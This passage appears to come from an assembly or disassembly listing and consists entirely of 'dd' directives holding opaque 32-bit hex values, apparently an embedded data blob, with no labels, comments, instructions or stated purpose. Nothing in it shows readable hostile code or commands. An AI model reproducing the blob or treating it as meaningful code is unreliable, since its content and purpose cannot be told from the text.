dd 249191D5h, 1CFCCB85h, 38E0906Ch, 28006623h, 0A78BBA7Bh
dd 95005CB2h, 0B001E8E3h, 0BDFFFh, 0CF2E9EFBh, 30408159h
dd 0C6E7DD00h, 6D774F42h, 488E005Bh, 0C93E1435h, 49FEFF20h
dd 244EDF00h, 0AECD950Ch, 0A3C33A32h, 3503A600h, 0E6292ACh
dd 0FB12B61Fh, 9D4FC000h, 0D0C783h, 0B823D1Eh, 966F2D59h
dd 28D79C01h, 8A703875h, 10CA3E0h, 0AFB4E9F1h, 0F0DC616Dh
dd 73272D45h, 9B976020h, 0AD7C0040h, 117AFBFDh, 1EEEC5AFh
dd 0C80E200h, 7D352515h, 0DD660730h, 30A6C4ECh, 918BDF5Eh
dd 0B868B914h, 7040094h, 0E55D4FAh, 1EA20051h, 390845B3h
dd 1328A4D5h, 2007DD2Eh, 0FA19A733h, 0AAC05137h, 6BB35Bh
dd 0C2ABFF18h, 0CCDFE267h, 0F2D8EC01h, 0FC708D6Fh, 3E9962DCh
dd 0E081C306h, 808AF08Bh, 2CB7C89Eh, 0F3F61300h, 4E0FB11Dh
dd 51963F3Ah, 61A6DA02h, 0C403CAAh, 0B5798A13h, 66AE9000h
dd 4D0AA340h, 0D88F0FC2h, 0ADA00BE8h, 35A2E4B9h, 0FF849500h
dd 62BFDBFBh, 0D14600C3h, 0F6053EA6h, 0E0005728h, 0A1B29842h
dd 1DD873DBh, 0EFB091h, 9A43CE3Bh, 90F6C5DCh, 644AFC00h
dd 0F9EAA7E6h, 3C25004Ch, 0B5C8CFCAh, 8A017C22h, 0EF9E6753h
dd 0BBECB88Eh, 41EB1331h, 2339063Eh, 9B00A012h, 0F4ACA5A6h
dd 0A210B4h, 0A79C1F65h, 94222FD4h, 864D3400h, 0F4A8DC79h
dd 6A530029h, 78084F01h, 341DD589h, 41035EE8h, 0C803EF02h
dd 38596657h, 0A601BC28h, 6F1EA5D2h, 9017C0B6h, 0CB1D1301h
dd 0B4823478h, 122F8BE4h, 7099B5h, 9CB3F272h, 0C5002932h
dd 0F40FF16h, 0F7F4EAh, 19D16D2Ch, 0ADD52003h, 5001C500h
dd 829C29BCh, 8BCC58A7h, 48782700h, 98DC7CE5h, 33EAE400h
dd 0BAED161Eh, 27C000AAh, 3AC9E83Eh, 2C9090C4h, 97E44Ch
dd 84DBF6D9h, 401B00Eh, 0EC2205F0h, 4487EED0h, 201E6390h
dd 55DD00A3h, 2FBB7E29h, 1600EE17h, 0B9980D77h, 0E56CC3AAh
dd 0F9D045EDh, 6392007Eh, 72B6A191h, 0DC00D270h, 0A7B214F2h
dd 97CB55h, 51BEF407h, 76243EFCh, 0AB55400h, 39F93109h
dd 40F4FEh, 0EB923FEAh, 0AC0157F3h, 5D45DB00h, 565F6C41h
dd 0DC490564h, 0AC168073h, 5A4D000Fh, 0E390176h, 0B9B8ABh
dd 0F0AEDA45h, 7B5FB85Bh, 5AEF510Bh, 43D8004Ah, 0C62F58h
dd 0CE06F84Ch, 54C370B1h, 0DCBD600h, 9BD30E3h, 3781027Ch
dd 288BF773h, 8C346EC0h, 0F39CF90Fh, 0E29884EEh, 0D7505081h
dd 0A073DD4h, 0BD6CEC54h, 0EA3002A4h, 24409561h, 171EBE7Bh
dd 11C0ED25h, 0A823ECDEh, 971D009Eh, 0ABFDDC57h, 1830F781h
dd 0B293A0D6h, 0C7B1D5Bh, 0F260078Eh, 0CB41632Bh, 2192ABE0h
dd 0A6008076h, 4759EB28h, 774BC56h, 13364322h, 6C3C709Ah
dd 99005B66h, 0ECC1348Bh, 3BE6E04h, 8617286Fh, 56809BB5h
dd 5300A07Dh, 2B807069h, 147816h, 1FBE071h, 44F9F437h
dd 0AD2F5B00h, 73FD81CBh, 68961DD1h, 200FBE9Ah, 0D9A0D8FCh
dd 859E6566h, 89F16E02h, 0E0F42412h, 0E2A3A29Fh, 8B213DEBh
dd 0BD0DE00h, 5383D297h, 0D803D1F2h, 47ED0EF0h, 0BFC180F8h
dd 134300A3h, 0DEB54B78h, 68006B42h, 16E5DA5h, 0E2FC15h
dd 518E6D30h, 5FA94CE1h, 4247F900h, 0A65B224Dh, 20E2C1h
dd 0DCBBBD43h, 53B80B0Dh, 0ACF4E500h, 1385E18Fh, 0C2E01Fh
dd 775A2D43h, 33025994h, 7ECABB0Eh, 0F7E3A7CCh, 0EE1CCB80h
dd 0D171009Dh, 0C24C9942h, 0A43F4A7Dh, 74568031h, 27BDC628h
dd 8F361F15h, 0E4FE6D1h, 0E307A3A0h, 16D2F09Ch, 8E0F0D86h
dd 0A56723h, 8FB52891h, 6A3A0024h, 75E13BB6h, 5F7EC745h
dd 48D26400h, 340CA052h, 0F142007Fh, 2D38A199h, 0F5E2A446h
dd 0AF889A00h, 42495664h, 0CDDA00CCh, 0DDFD8472h, 613C571Ah
dd 92FE00A7h, 9E8745A9h, 6B2B00ECh, 9699B665h, 0B0DD9874h
dd 0AAFCBE80h, 4AEEA2h, 4BDF53CFh, 789CB808h, 6454BD00h
dd 96DB27DAh, 99610039h, 295715C0h, 6200E83Fh, 6682B088h
dd 1DE050D4h, 8027DFEDh, 1954DA80h, 0D80C2655h, 9931361Ah
dd 2279829h, 0AB95E30Bh, 2C968A7Eh, 0CB6C4D00h, 0A12E1F8Ch
dd 204B5035h, 5FC201D1h, 424E28D4h, 8655E03Fh, 701BB20Ch
dd 7CA2056h, 0DC1F53FEh, 9F808C6Ah, 1E7D9658h, 5002B02h
dd 99828806h, 19551D4Dh
dd 4796C6D2h, 0D81E40A2h, 744009DFh, 713C1497h, 0DBED09B5h
dd 0F589BADEh, 994DB08h, 5E01C184h, 0D08856D7h, 0E101EAF8h
dd 5DF5CC30h, 8E4043EFh, 7812A6Eh, 2D3BA046h, 805F77E9h
dd 0DBB592D5h, 0EEA67C00h, 2B0A75D3h, 0CFE83F9Eh, 0B40D2203h
dd 0BC909681h, 0EF00AC15h, 106A510h, 5C4CE0F3h, 640E34E7h
dd 6F63D75Fh, 31F81405h, 8500F208h, 609A8F42h, 5F490AFh
dd 0F7C14083h, 2AA001E7h, 0D0D4EB70h, 0FF00BDE8h, 13CEF51Fh
dd 0E073B56Fh, 524C0633h, 30213998h, 0D700EF7Dh, 20923112h
dd 66EC50h, 6DF4C6E1h, 8609EA4h, 0FF011E73h, 0C3D06FF5h
dd 0E83015CDh, 7F4014E2h, 380ECC1h, 5B04894h, 0A8595000h
dd 0EAFA3616h, 925479A0h, 0C9F8E114h, 747100F3h, 0D05A467Bh
dd 0B400AA98h, 0FD68F988h, 0A8B28BB9h, 7B0A3D4h, 23500913h
dd 0A783E793h, 36FCD025h, 1901D3EFh, 5D0E9235h, 45C86FCAh
dd 0D72E0061h, 412968B6h, 4A3AABC2h, 0B9CC01CBh, 17D03655h
dd 0EC641CFCh, 154800FDh, 0E0763004h, 88A0E892h, 0B2004D0Dh
dd 778ABC8Dh, 339FD9h, 7D7684ADh, 0A97E8F93h, 0AC980F0Fh
dd 0F7E978h, 12D5D38h, 9E57307Bh, 3FAD8926h, 1340F0DEh
dd 0B8A6CC37h, 6CAF3F09h, 8D6AD687h, 60235391h, 8CD4B9h
dd 634627DBh, 0FD493855h, 84BC45D0h, 6AB0B150h, 0D31D6B01h
dd 0CEE43731h, 79810D8h, 9A4719FBh, 8F35500Eh, 0DE00C3BAh
dd 7822921Fh, 3D41CC74h, 96800F1Bh, 0B22A345Ch, 9224F6BAh
dd 1A00841Ch, 5B36D6F3h, 40450062h, 436DAAABh, 960082A1h
dd 0A85833E5h, 3C12BCh, 0E47998CEh, 68CC02F0h, 0E69D5606h
dd 1C2853F3h, 4063900Bh, 0B8BD8FA6h, 9275CD71h, 27BE2E07h
dd 2531E36Bh, 3F05AA9h, 8430F973h, 29F7037Ch, 0BF3659E1h
dd 5A13480Eh, 2C0F209Ah, 0ECC99h, 4260D21Ah, 68D39E39h
dd 4EDF8C00h, 0A83A2912h, 60847C58h, 9FF29DBh, 945B54ECh
dd 60A25B0h, 0A1396761h, 783961A2h, 5C950091h, 86E92307h
dd 984E03D6h, 769B7309h, 9DBACD90h, 75A1C8F3h, 38549F30h
dd 71BA33Ch, 0E2B9D0F5h, 0ED445323h, 36B824ABh, 9B005A45h
dd 857E46A1h, 769D9Ch, 0E4F0CB4h, 383CFF49h, 0EA00D476h
dd 1ABD47E5h, 1343BA02h, 1E6CD5Fh, 8DCEC73Ah, 0C337DD81h
dd 0C4E865B0h, 0A8005C79h, 7191A9B1h, 70F0E5F5h, 0FC70232h
dd 0C892098Fh, 3510209Ch, 99C16871h, 0E018A07Eh, 9B7B25BDh
dd 8CFD2F00h, 21C50320h, 53C20137h, 95C78BB5h, 0CE688306h
dd 908DAF7Dh, 0CCA89Bh, 0B82A0C92h, 0F647D525h, 4D9A4000h
dd 9D604F0Fh, 282B021Ch, 0B5DED71h, 0CB7AD981h, 0A3088747h
dd 6FE38522h, 0E0788226h, 88B356h, 7479F649h, 0D5BBFF81h
dd 4B3BA37Ch, 65EB806Dh, 1D12429Dh, 170E0680h, 50C5A2D1h
dd 94189B07h, 450BEEBh, 0C031FD92h, 3687A2B0h, 7D06F55Dh
dd 0E5E4ECC9h, 99A13FB8h, 148C3903h, 0C81B3FEh, 0C8805CBCh
dd 0BED37D08h, 0C598D8A8h, 0D50082FEh, 67599D6Dh, 0A7BFE27h
dd 1D2C3848h, 0DE2883F0h, 0D5F8906Eh, 5200FB33h, 5B655D85h
dd 799179Ah, 42F2DD13h, 30ABB72Ch, 95D3800Eh, 0D93F7302h
dd 60941BF1h, 9D6135h, 0CD83C02Eh, 8951560Eh, 20A13E29h
dd 0DB4C66C1h, 360ED90Ch, 602A9C76h, 0DFA7FB10h, 0ED070AECh
dd 87D0056Ah, 0D0A2F566h, 3F86CED5h, 0BD59CC1Dh, 0BE263BC5h
dd 0FDB8C803h, 0E84F905Ch, 0A21D01F7h, 0EA1E62A0h, 0FE16E458h
dd 714BDA03h, 0F8A915DDh, 5499093Ch, 305FCA5h, 30F8A602h
dd 7A06D55h, 4F0BBAE6h, 56709FB0h, 0D2800CB5h, 9A0939D0h
dd 56155B52h, 3140300Eh, 0C50955B2h, 339D6Ah, 5C5DA724h
dd 90300170h, 275B7EBh, 50E8D721h, 0C2B020E7h, 470E8177h
dd 94EE5DC6h, 80C33824h, 43F4B22h, 0A2EB64h, 9E5CFA8Dh
dd 7249954h, 0E4F8347Ah, 0A9120800h, 164450ABh, 980B0E52h
dd 8D40AD46h, 8C2155A7h, 11FA3100h, 974A3AA2h, 0B2122415h
dd 1C830F2h, 7A30A1EFh, 1B9E38AAh, 77F1078Eh, 0C0E17058h
dd 0ACCDED3Dh, 24C69300h, 0E3557C41h, 8BB1265h, 0C3A000A7h
dd 7BF3DDA3h, 91A12100h, 0E6C9478Fh, 84DE1FE0h, 2A9BC06Fh
dd 0F690A61Ah, 30D73400h, 0CD6C4938h, 157D9Dh, 5D0C451Bh
dd 241D53E9h, 81E3751Dh, 19563600h, 3E86052h, 5C43D73Bh
dd 1903396Ch, 77E9427Dh, 3BC9A061h, 0FABA00C6h, 863E2FBDh
dd 4A038D1Ah, 3DF56993h, 0B0BCD045h, 0C07CF616h, 3CF06530h
dd 9B000CB5h, 4480D593h, 269D68BAh, 0EAACB3h, 37D99E78h
dd 0F73053A2h, 8307D976h, 0AC994CDEh, 0F20E1700h, 7BA4AC36h
dd 0F91D5807h, 0FEF0AE4Dh, 1202A5h, 59E470Dh, 0BEFDC776h
dd 0C1301C77h, 20CB4EE5h, 0B0374C8Eh, 0E46316h, 500458B2h
dd 2B0FD154h, 0EE2F310Fh, 270E40CBh, 7B9D5DCh, 40321E85h
dd 4F9A033h, 420163EAh, 0AE2B1FCCh, 52E0230Ch, 908EF064h
dd 0D5F01DCAh, 60F34120h, 80B408F7h, 19F9C54Ah, 3BEF4h
dd 0F61CFE4h, 1E5F4F2Ah, 0A83E0828h, 0FC4CFD00h, 0AE6C6DC6h
dd 0E1620091h, 1F3F071Bh, 76268781h, 7C03AD35h, 0E950A9h
dd 5F101C88h, 0A581A2Fh, 0FC312603h, 80F9BDB5h, 281EE827h
dd 3C07ED5h, 770B3DC8h, 3BB34F6Ah, 0ABD407E0h, 43D0B718h
dd 2FD680h, 0AD2DAF96h, 0CA19BBF9h, 6F394904h, 880E552h
dd 83378Dh, 41355FB1h, 0FF9880F4h, 6B49BE00h, 0A6BDE491h
dd 2200024h, 0B6530E77h, 0BE1C9D6Ch, 57010725h, 5408A483h
dd 0E72102C7h, 16306EC1h, 0CE6B240h, 0E4649600h, 0A70D2B28h
dd 3493005Bh, 46D5C28Dh, 0E6007567h, 1C823D39h, 0FDF71h
dd 0E7A7162Dh, 0F17E989Fh, 533AB81Eh, 0DF54DE80h, 32431F4h
dd 0AA6C78E3h, 8BF9195Eh, 0F320806Eh, 751FEE14h, 99FD286Fh
dd 12C300FFh, 0DD87F694h, 81C0E93Ah, 0D64EBB53h, 2D6403C7h
dd 18849AE5h, 12B637D0h, 32B29600h, 13FD33DBh, 14B97CB3h
dd 209D78F7h, 0DFF93F0Fh, 2D9F5340h, 1E0A445h, 0C0DE4130h
dd 0A4288A54h, 0F4ED025Ch, 3C132463h, 0B92264E3h, 82791C77h
dd 0C48D00F4h, 0E1F95A23h, 0FB2A48h, 0A6FCBF8Bh, 3ED5FDB7h
dd 0B1B0473Fh, 64695990h, 17122900h, 3CEDA463h, 0AE6F001Ah
dd 0A0F18CFEh, 107631C8h, 56339A00h, 0D3F66B61h, 6CE20030h
dd 39362262h, 0D00307B0h, 9BC1BFF7h, 690890CEh, 0A4FD00ACh
dd 0F4A1BD0Eh, 3103BB91h, 8BA79E54h, 0FCD78806h, 0C6380076h
dd 7AEEDD5Eh, 6E0001CDh, 0DC2F8580h, 3D82FE9Eh, 32804319h
dd 410A4F28h, 9307C92Dh, 74A215DEh, 0A870B890h, 913B0079h
dd 277CC8EFh, 8A01AF4Bh, 73516825h, 86DC95E3h, 0C16B1F15h
dd 494601A3h, 0FC5A922Ch, 810038E7h, 14A5805h, 0C0267923h
dd 86FDA420h, 0E810D389h, 0E50CDB22h, 1B598516h, 8AC69600h
dd 75361F30h, 41F8A0h, 892EF40Ch, 77E44C43h, 9F0088FCh
dd 0A3908AC9h, 3DC2893h, 164D27FEh, 7CE0AC9Ch, 1C266CAEh
dd 700FEEAh, 1A655AF5h, 0C31D5C88h, 0E580C207h, 0B59D6087h
dd 8409BF27h, 204339h, 0AC7C794Eh, 3DA1C38h, 0DB4FC0F4h
dd 0FA7BB4EAh, 62EF2800h, 0FC367216h, 24303F91h, 53517680h
dd 7B5FE9CFh, 40222907h, 0DF84A1h, 90DF6D86h, 0F657008Dh
dd 0B062B658h, 0C1ECE8ADh, 43D37300h, 0E4523189h, 0C0C707FCh
dd 1A4C4227h, 0CB5D00C6h, 99E60C30h, 0D5983Bh, 99B38DDh
dd 0E242C778h, 292C00F2h
dd 0EE11C1FCh, 1900D75Bh, 0ABC83773h, 751EB8h, 0EB586C17h
dd 0BEC93BDBh, 0CA70F502h, 612C4A8Eh, 0D0E329EBh, 37ECC5D5h
dd 5020C6F9h, 9F8EB18Bh, 0E9181300h, 0FDE3DD31h, 30E5003Dh
dd 1DBC97CBh, 0DA18B6E7h, 1870769Bh, 29583492h, 6CE18058h
dd 0C3003F6Bh, 73013630h, 0EFDC16h, 85643991h, 0E08F70B9h
dd 2674AC00h, 0ED66E97Fh, 8D2D0042h, 0BEAFFCD3h, 960013E3h
dd 0B6A0B499h, 0A4D94110h, 1300418h, 60851E33h, 0ACD94379h
dd 0FB5582Ch, 314022Ah, 0BB03FAD9h, 9150A50h, 8330C2B8h
dd 0BAFA73h, 0C4941E39h, 245D79B9h, 65B72A1Dh, 0A1648A14h
dd 1C4CBDCDh, 5A090319h, 0A12CCA29h, 0E0DB0815h, 69C38138h
dd 0F90CFCD3h, 30E2D02Bh, 0E3C77508h, 12A85159h, 6105F36Ah
dd 8C2690B6h, 0E3039C68h, 393490DAh, 401F6834h, 8A682384h
dd 4218EE94h, 0F882DA99h, 64B868EAh, 85431D63h, 9EEA0C00h
dd 215BE1D4h, 0E5645C07h, 0D760FB6Fh, 95BEA4h, 677899EDh
dd 0C10572Fh, 92874A1Fh, 0D931FB40h, 5423BECh, 0F1C17106h
dd 7920223Eh, 85F7035Fh, 0C840007Ah, 0D92A0C1Dh, 1B7BDA3Dh
dd 0BBE38D00h, 217E1C61h, 1140AE92h, 62A7587Dh, 9C8A41h
dd 0BF3C543Bh, 88037B37h, 7EB6F040h, 8023A81h, 5BC44852h
dd 0FF6A707Fh, 0A80AD27h, 61400525h, 0F48935CAh, 340ABC5Bh
dd 88849BBFh, 0A92DB1Fh, 0AD19BC06h, 2D950EE0h, 8CA53BE1h
dd 290FBBE3h, 8B7201BFh, 3859417Eh, 947BA085h, 0AA3823CCh
dd 0F01D48EBh, 0BB1F80CFh, 0FB00871Eh, 7BE1D646h, 760DF11h
dd 957EB05Eh, 0C56470C6h, 398C99E2h, 0BD1D9B0Ah, 7BD0703Bh
dd 0BF5A3D72h, 0E30A23ECh, 0E250C6FBh, 0EA388F53h, 0BF991EA9h
dd 0E1C04EBBh, 0E940248Ah, 7EFCAD02h, 914A1CA0h, 0A838773Bh
dd 0D4F08A23h, 0A6EE38CBh, 2399273h, 2A5E945Dh, 0A48AA330h
dd 10905318h, 0A6309B14h, 0CBAD10EDh, 0F6FE016Ah, 0ACCA596Bh
dd 3C1C0B8h, 0D408C061h, 0C44B1D6Eh, 0BD683E07h, 308F875Eh
dd 0E6548AAh, 67635091h, 54DFB8Fh, 63C10A29h, 14802CD5h
dd 0C5775218h, 2BA8EA29h, 8360D567h, 297381DAh, 404A293Eh
dd 588FFDDBh, 8071991Bh, 0B67C5F2h, 392A8069h, 0B241A8C4h
dd 0DAD200FAh, 0DA10F90h, 58F19774h, 140A7720h, 0AC097F29h
dd 5A3B8A00h, 60F99BDBh, 6ADD3089h, 440AE10Eh, 6CA1080Bh
dd 0E70D77C0h, 661F00FCh, 88ED56C3h, 0C000BAE4h, 86CC64ADh
dd 2CC4A305h, 57F491h, 36C15F9Ch, 0E40E96F6h, 0EA613F7Ah
dd 0ACC018BBh, 6BCB6341h, 3E005802h, 20C96C60h, 696EE000h
dd 1B3787C1h, 1B1CA6D7h, 5E7AED35h, 3C763804h, 4F836C6Eh
dd 0B009AA20h, 10E7EE18h, 10173A6h, 639FD2D6h, 144CCA89h
dd 7CB81DE3h, 0C15980F9h, 5B8FF7B6h, 0E50610A8h, 0B29C3E10h
dd 5E311603h, 8FC0896Eh, 2353C962h, 0C3A00F28h, 78DC6C07h
dd 6BE005F6h, 30F0297Dh, 97B19C2Ch, 0B02BD42Ah, 6EE88815h
dd 6779C150h, 51823B13h, 6EFAE236h, 0D9CE0C16h, 96294412h
dd 6ED5EA00h, 976970C9h, 6A983AFAh, 27779A0Ch, 9E3A7A68h
dd 0A32E0B5Bh, 0AE210564h, 0AB703C20h, 761044EFh, 6D81F803h
dd 0A3827749h, 5A6AB029h, 3FDE0309h, 4C44A964h, 4CE869A1h
dd 8B1C6860h, 0ECC01063h, 0B323D6C1h, 749A56E4h, 1AD3AB0Fh
dd 0B612B4D5h, 89084206h, 50B86C7Ch, 110FDA7h, 160C2CD9h
dd 1C90A9ABh, 0D129BDFCh, 158030CBh, 0B67C549Dh, 0F6C10E5Ah
dd 69A5AFDAh, 0CD182C45h, 5E594C0Ah, 1D8CD0DEh, 0D4849001h
dd 27B03868h, 46203547h, 0F2360A2Dh, 0E074E77Eh, 0C714839Eh
dd 8AD41B54h, 0DB33FF07h, 5B410560h, 7BE1EF17h, 0DB06A44Ah
dd 0C1610870h, 0D81A7619h, 1D2D330h, 0E130414Ah, 480C2739h
dd 0F232648Eh, 0A0B88490h, 0D31B032Ah, 59BBCD5Ch, 0D9B0800h
dd 357AEC21h, 0BAE13F30h, 617C66BDh, 4D1B60C1h, 0E845D2F8h
dd 0D6AC4281h, 0B600DD78h, 0CD0C2ACFh, 50D12E7Bh, 0E10B0770h
dd 402F95DAh, 0CD5F931Ah, 7FE01B01h, 0D8385B0Dh, 76A18887h
dd 1F94C336h, 0DC8C901Fh, 34675B00h, 63B93B33h, 0E2AB1008h
dd 0C0AA82E7h, 85D72702h, 0A400ED84h, 0E26C40BBh, 13140F5Ah
dd 0FA0CDAECh, 9B3A7040h, 0A09C4837h, 24FFC76Fh, 81F0A8FAh
dd 1BCF45FEh, 8109BA92h, 0E4DAE06Ah, 0B8D0E27Bh, 0DB361463h
dd 20749076h, 1A040C62h, 0E87AE13Eh, 0DCE46170h, 701FBD20h
dd 0E0F263F6h, 0F87301EAh, 3AE25400h, 7A95298Ah, 90103AADh
dd 1AEC6A61h, 99C50FCh, 9B183673h, 0CBF006CEh, 4C049819h
dd 491108A8h, 73FC139h, 0A824D2C2h, 335D0656h, 78E37BCFh
dd 0F898FB28h, 1602FA19h, 0FC42A710h, 16865DAh, 0BE765B2Fh
dd 3648808Bh, 0FB286949h, 0BB90A11Bh, 5BD139F5h, 0F02AA7C4h
dd 5230F98Eh, 0E196047Bh, 8197ED3Ah, 40228C28h, 0E24456C8h
dd 0D9DB9A0Eh, 0E74587E0h, 20401A41h, 0A01B1820h, 7830BA88h
dd 599A182Eh, 0EBD9A849h, 4DEE40C5h, 46168805h, 4AB9C806h
dd 0DBB13A28h, 51C55A0Ch, 28C3C710h, 0A74E7FFAh, 18479383h
dd 82B0790h, 0B58144AEh, 9D7AB440h, 0E7E0A13Ch, 0CC5AB841h
dd 0BE1918BAh, 87561041h, 47B27A70h, 147C1A43h, 9C6D3A10h
dd 51856274h, 888272EEh, 5041FF05h, 0FB882012h, 0DB10C961h
dd 408365B6h, 0BAEC4859h, 9C83ACF2h, 0B81BEF30h, 0E638585Ah
dd 0B32D2441h, 10CC1814h, 0C2649F7Bh, 5340BA08h, 69DBCF6Fh
dd 9B905E50h, 0EE985F50h, 0BA185C90h, 86983D41h, 0FC4A09Dh
dd 5ED8C45Dh, 94A48059h, 9B30CF66h, 93DB107Bh, 8240CDEDh
dd 86B3F010h, 0B261CC7Ch, 14A73AA0h, 74575020h, 11A1E3Bh
dd 489A0605h, 3551D0B9h, 743FD09Ch, 0FE5AE30Ah, 2A18AC28h
dd 0C631DA18h, 905B6F81h, 0D4952B28h, 0E8678828h, 37839D1Fh
dd 80133E8Ah, 8C15FD00h, 0E8F2589Bh, 127C313Bh, 0ECA04D10h
dd 0D47F89DBh, 0BA671B1Eh, 841FBCDh, 183E08F0h, 28637B9Eh
dd 0D3633D5Bh, 0E0215508h, 0C7EAD63Bh, 41E48750h, 87C47ADBh
dd 0AFF63908h, 0A0F557A3h, 0EAE0B04h, 75EEA4A8h, 20BB4487h
dd 0ED329F27h, 630086F4h, 77B9924h, 288889h, 44A4B65Eh
dd 4A94EA8h, 8338E06Eh, 0C1AB0F9Dh, 50B8D068h, 0E4A9BD83h
dd 280BA7F0h, 7FAFB869h, 0C486810Eh, 84387832h, 0A210E3F3h
dd 51901EB7h, 65440685h, 4C0658BBh, 2C5BB31Ch, 74D7E8C8h
dd 0DEFCE5h, 0E83B9199h, 4ADBB303h, 84AF1707h, 64408D62h
dd 1D8C979Ah, 60AF0FBh, 400D3E1Bh, 8E94431h, 7BF056A4h
dd 9192069Eh, 585341BBh, 8202C34h, 398C210h, 0C4A8ABB1h
dd 69D91E2Bh, 4CE4067Eh, 0FA2808D1h, 10379CD4h, 0A08C5088h
dd 591328DBh, 319A3BC0h, 0EC07A700h, 162C2094h, 0CA01A0E8h
dd 0D4804FD5h, 19D04EDDh, 14B7CA6h, 2048266Dh, 304FC565h
dd 0E0F0A7EFh, 70A9F948h, 93463Bh, 13E337E7h, 0E8E5D627h
dd 8396FC7h, 0F9BC7000h, 0A69F167h, 4F720010h, 1476AAE0h
dd 0E5C68BC3h, 60B5B200h, 0BC74D5CCh, 1D64EF04h, 338313AFh
dd 0FF07A02Bh, 0E7F42BC9h, 17CE001Ch, 0B3FC6E85h, 3984EF00h
dd 3B87EDC0h, 0E0558009h, 0CC3078C0h, 46B9204Fh, 4D74136Ch
dd 4080170Ch, 7C0D1524h, 42DF34F1h, 0ED49A378h, 0D6334401h
dd 0AC97F0DBh, 8470E13h, 7E80F683h, 51A0494Ah, 0B5986774h
dd 0C087B60h, 28604439h, 3A9CCB07h, 0C01953A2h, 0C5E010E3h
dd 0CC80F0EDh, 0A000147Ch
dd 604FD689h, 0F04EDC15h, 282765BCh, 20D40358h, 101BA1C0h
dd 9BE08067h, 9081802h, 0A20CF8A8h, 5C2887F8h, 0F103F8BFh
dd 0D8604835h, 507874F6h, 0C3E3D427h, 1159E010h, 8468401Eh
dd 0C088287Fh, 0A24FC710h, 84D9618h, 0DA81B471h, 0BE8CA700h
dd 0A52EB0C6h, 698909C0h, 628AC049h, 18DA1818h, 0BC549120h
dd 38C6B294h, 0E13030A6h, 45C094C1h, 0E5E8EBh, 0A4FE8553h
dd 4F97E96h, 1B1D33Ch, 0F5CA6AE4h, 0A7CF2624h, 1D2894C6h
dd 78FE084h, 8F8CEBC4h, 0F5F44F83h, 188EC6E5h, 4D0A7C03h
dd 188F285h, 0F96B9E10h, 0B10744h, 70D23DC9h, 0A0B23AE4h
dd 8408C07Fh, 255EF990h, 4C70C004h, 6504DE05h, 0E7E50F2Fh
dd 0C6834D3Ch, 7C05A09Ah, 0F7C5F03Fh, 523E31B9h, 61F52500h
dd 629A455Ah, 7C1E85E8h, 1B005E8Bh, 17C55B4Fh, 31E5F87Ah
dd 67206039h, 4825E07Fh, 8B80EB61h, 4BE15B4Eh, 0CFA5C1C3h
dd 2CC4A9C8h, 0C7B5D3Eh, 0D8209434h, 0D00890FFh, 0CA9DA50Fh
dd 45D60523h, 796BE5E0h, 0C24F90Eh, 0CEDA6355h, 0D13AB89Fh
dd 31A57C0Dh, 3670CBE0h, 4A5880F2h, 0C5112AEAh, 206EA64h
dd 8768AE1Fh, 0F082C0EEh, 1090EBB3h, 5A107839h, 0A000F6FCh
dd 852FF1D4h, 280DED33h, 0F8ECF805h, 342C98CAh, 0D3010061h
dd 0AFC719F2h, 0A60189FBh, 0CB8CC242h, 0D1C43B62h, 4D903A82h
dd 0C306A200h, 3D91BEA0h, 4AA9610Eh, 8D89E0EEh, 0CFC71Ah
dd 62A6B3CDh, 2D4B775h, 4039E831h, 42D034DCh, 0A1D805E0h
dd 23A94B4Dh, 7DB8A524h, 6F80ACF6h, 1F97A52h, 0CB152B62h
dd 0D967FCA2h, 641C5843h, 0A0FA883Eh, 768F02BFh, 3182A5FBh
dd 97995498h, 8E83F310h, 16682F00h, 1F93E328h, 0EB0363E8h
dd 5C8327FCh, 8043A3E1h, 3C2A6C5h, 2DA1E0AEh, 0CDA0E740h
dd 74015C54h, 0CA63CFA3h, 0C33622h, 0A2B02610h, 0A714A62Dh
dd 7F3E96B0h, 0F3821377h, 0E3A1BB00h, 50FF22D4h, 748B8838h
dd 0D6020E83h, 0FAC323FDh, 0B5C1CB3Dh, 0D188029h, 0B042D079h
dd 7722F080h, 633E07D7h, 4524874Eh, 0F270306Ah, 3900E965h
dd 4FC67473h, 2CBB8E5h, 5AAED642h, 0A68220E3h, 0A480EE03h
dd 0CB995DC3h, 0D0FF8270h, 51C064E2h, 5F0C34FAh, 0E9B2019Dh
dd 0AAFD5C7Ah, 45C6EC1Dh, 2DAF9900h, 8665F8BCh, 184C50CDh
dd 0A1551130h, 37BD0373h, 0CD994A75h, 0C9331430h, 58EB2085h
dd 3D905D79h, 36006798h, 0DFD3F8A6h, 0EE4DD8BCh, 3C34AEB9h
dd 800D591h, 0FDAAFF26h, 0BC1FDE31h, 0CC425E98h, 90A0547Bh
dd 18D3D018h, 70593DA2h, 0E602079Dh, 84338A6h, 5850B845h
dd 0C1811823h, 973D6024h, 9BCCB306h, 8CA8610Ah, 6ECB0048h
dd 4B931573h, 0B7ECDDAAh, 0AB1BCF0Eh, 8F7B85BCh, 2B189805h
dd 0CB119C40h, 782D949h, 13F95397h, 4CB8C2E2h, 3C722C98h
dd 0E1A9E33Bh, 0B9C97D88h, 74515080h, 6333991Eh, 7F594A00h
dd 8E7945D2h, 31B9E8DBh, 2F0825FEh, 96E087EDh, 0B5434E50h
dd 0EF19E0EAh, 0E98FEACh, 58A6CFD6h, 0C9E1DEEh, 8F10D027h
dd 181F377Ch, 0D80A20FDh, 7807CC62h, 0B8C33B29h, 18180860h
dd 47081DCDh, 0CE580C10h, 20C1F240h, 0B9653038h, 0A00985ECh
dd 0F07FC5E8h, 36913C78h, 204C3818h, 0C65C60D4h, 0CB351D3Bh
dd 21C35406h, 8C671E08h, 197118D8h, 34F8C08Ah, 0D9B33Ch
dd 35E5F814h, 10EFCCF5h, 1884D4D8h, 9410C0F4h, 20DD7855h
dd 0CDF84FB4h, 741EEA7Ch, 340667ADh, 7A386EE4h, 4418CC70h
dd 20C67A11h, 181847B4h, 3092C8F4h, 28C6A7FCh, 31089EB7h
dd 0F8A0954Bh, 0CA708C64h, 403A28E3h, 18C3146Bh, 3082F6B4h
dd 34101B08h, 0D0BFD7C7h, 5470CF9Eh, 148344AFh, 100F7BF5h
dd 67C29E5Fh, 0D44183EFh, 0F4E0B14Ch, 1FA97C9Fh, 60FAB14h
dd 208DF174h, 1B309A6Fh, 2838301Eh, 4E9C5470h, 807088C7h
dd 0FD7D34D1h, 91AD4080h, 0A9163561h, 2D31F5E8h, 0E2A108F1h
dd 3EA615F0h, 0AE1D66D6h, 77003CD9h, 0CA0E925h, 0BFA02897h
dd 32B87A8Dh, 0F1C6F300h, 0B566C784h, 0F414A699h, 871E10DCh
dd 26510337h, 0E295614Eh, 0E0653003h, 38670CB0h, 0CD32B128h
